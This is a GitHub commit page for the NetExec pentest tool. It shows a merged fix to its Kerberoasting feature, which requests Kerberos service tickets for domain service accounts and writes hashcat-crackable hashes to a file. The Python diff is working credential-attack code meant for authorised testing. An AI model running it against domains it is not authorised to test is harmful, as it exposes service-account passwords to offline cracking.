Skip to content

Commit

Permalink
Merge pull request #111 from /issues/104
Browse files Browse the repository at this point in the history
Fix Kerberoasting for #104
  • Loading branch information
Marshall-Hallenbeck authored Nov 9, 2023
2 parents 49d4441 + 3333bf9 commit 7a4246a
Show file tree
Hide file tree
Showing 3 changed files with 77 additions and 59 deletions.
78 changes: 43 additions & 35 deletions nxc/protocols/ldap.py
Original file line number Diff line number Diff line change
Expand Up @@ -910,6 +910,9 @@ def kerberoasting(self):
"lastLogon",
]
resp = self.search(searchFilter, attributes, 0)
self.logger.debug(f"Search Filter: {searchFilter}")
self.logger.debug(f"Attributes: {attributes}")
self.logger.debug(f"Response: {resp}")
if not resp:
self.logger.highlight("No entries found!")
elif resp:
Expand Down Expand Up @@ -956,41 +959,46 @@ def kerberoasting(self):

if len(answers) > 0:
self.logger.display(f"Total of records returned {len(answers):d}")
TGT = KerberosAttacks(self).get_tgt_kerberoasting()
dejavue = []
for (_SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, _delegation) in answers:
if sAMAccountName not in dejavue:
downLevelLogonName = self.targetDomain + "\\" + sAMAccountName

try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
principalName.components = [downLevelLogonName]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
principalName,
self.domain,
self.kdcHost,
TGT["KDC_REP"],
TGT["cipher"],
TGT["session_key"],
)
r = KerberosAttacks(self).output_tgs(
tgs,
oldSessionKey,
sessionKey,
sAMAccountName,
self.targetDomain + "/" + sAMAccountName,
)
self.logger.highlight(f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}")
self.logger.highlight(f"{r}")
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
hash_kerberoasting.write(r + "\n")
dejavue.append(sAMAccountName)
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
nxc_logger.error(f"Principal: {downLevelLogonName} - {e}")
return True
TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache)
self.logger.debug(f"TGT: {TGT}")
if TGT:
dejavue = []
for (_SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, _delegation) in answers:
if sAMAccountName not in dejavue:
downLevelLogonName = self.targetDomain + "\\" + sAMAccountName

try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
principalName.components = [downLevelLogonName]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
principalName,
self.domain,
self.kdcHost,
TGT["KDC_REP"],
TGT["cipher"],
TGT["sessionKey"],
)
r = KerberosAttacks(self).output_tgs(
tgs,
oldSessionKey,
sessionKey,
sAMAccountName,
self.targetDomain + "/" + sAMAccountName,
)
self.logger.highlight(f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}")
self.logger.highlight(f"{r}")
if self.args.kerberoasting:
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
hash_kerberoasting.write(r + "\n")
dejavue.append(sAMAccountName)
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.fail(f"Principal: {downLevelLogonName} - {e}")
return True
else:
self.logger.fail(f"Error retrieving TGT for {self.username}\\{self.domain} from {self.kdcHost}")
else:
self.logger.highlight("No entries found!")
self.logger.fail("Error with the LDAP account used")
Expand Down
54 changes: 32 additions & 22 deletions nxc/protocols/ldap/kerberos.py
Original file line number Diff line number Diff line change
Expand Up @@ -103,22 +103,27 @@ def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None):

return entry

def get_tgt_kerberoasting(self):
try:
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
# retrieve user and domain information from CCache file if needed
domain = ccache.principal.realm["data"] if self.domain == "" else self.domain
nxc_logger.debug(f"Using Kerberos Cache: {getenv('KRB5CCNAME')}")
principal = f"krbtgt/{domain.upper()}@{domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
nxc_logger.debug("Using TGT from cache")
return tgt
def get_tgt_kerberoasting(self, kcache=None):
if kcache:
if getenv("KRB5CCNAME"):
nxc_logger.debug("KRB5CCNAME environment variable exists, attempting to use that...")
try:
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
# retrieve user and domain information from CCache file if needed
domain = ccache.principal.realm["data"] if self.domain == "" else self.domain
nxc_logger.debug(f"Using Kerberos Cache: {getenv('KRB5CCNAME')}")
principal = f"krbtgt/{domain.upper()}@{domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
nxc_logger.debug("Using TGT from cache")
return tgt
else:
nxc_logger.debug("No valid credentials found in cache")
except Exception:
pass
else:
nxc_logger.debug("No valid credentials found in cache. ")
except Exception:
pass
nxc_logger.fail("KRB5CCNAME environment variable not found, unable to use Kerberos Cache")

# No TGT in cache, request it
user_name = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
Expand All @@ -138,6 +143,12 @@ def get_tgt_kerberoasting(self):
self.aesKey,
kdcHost=self.kdcHost,
)
except OSError as e:
if e.errno == 113:
nxc_logger.fail(f"Unable to resolve KDC hostname: {e!s}")
else:
nxc_logger.fail(f"Some other OSError occured: {e!s}")
return None
except Exception as e:
nxc_logger.debug(f"TGT: {e!s}")
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
Expand All @@ -149,7 +160,6 @@ def get_tgt_kerberoasting(self):
self.aesKey,
kdcHost=self.kdcHost,
)

else:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
user_name,
Expand All @@ -160,12 +170,12 @@ def get_tgt_kerberoasting(self):
self.aesKey,
kdcHost=self.kdcHost,
)
tgt = {}
tgt["KDC_REP"] = tgt
tgt["cipher"] = cipher
tgt["session_key"] = sessionKey

return tgt
tgt_data = {}
tgt_data["KDC_REP"] = tgt
tgt_data["cipher"] = cipher
tgt_data["sessionKey"] = sessionKey
nxc_logger.debug(f"Final TGT: {tgt_data}")
return tgt_data

def get_tgt_asroast(self, userName, requestPAC=True):
client_name = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
Expand Down
4 changes: 2 additions & 2 deletions nxc/protocols/ldap/proto_args.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,8 +13,8 @@ def proto_args(parser, std_parser, module_parser):
no_smb_arg.make_required = [domain_arg]

egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat")
egroup.add_argument("--kerberoasting", help="Get TGS ticket ready to crack with hashcat")
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")

vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
Expand Down

0 comments on commit 7a4246a

Please sign in to comment.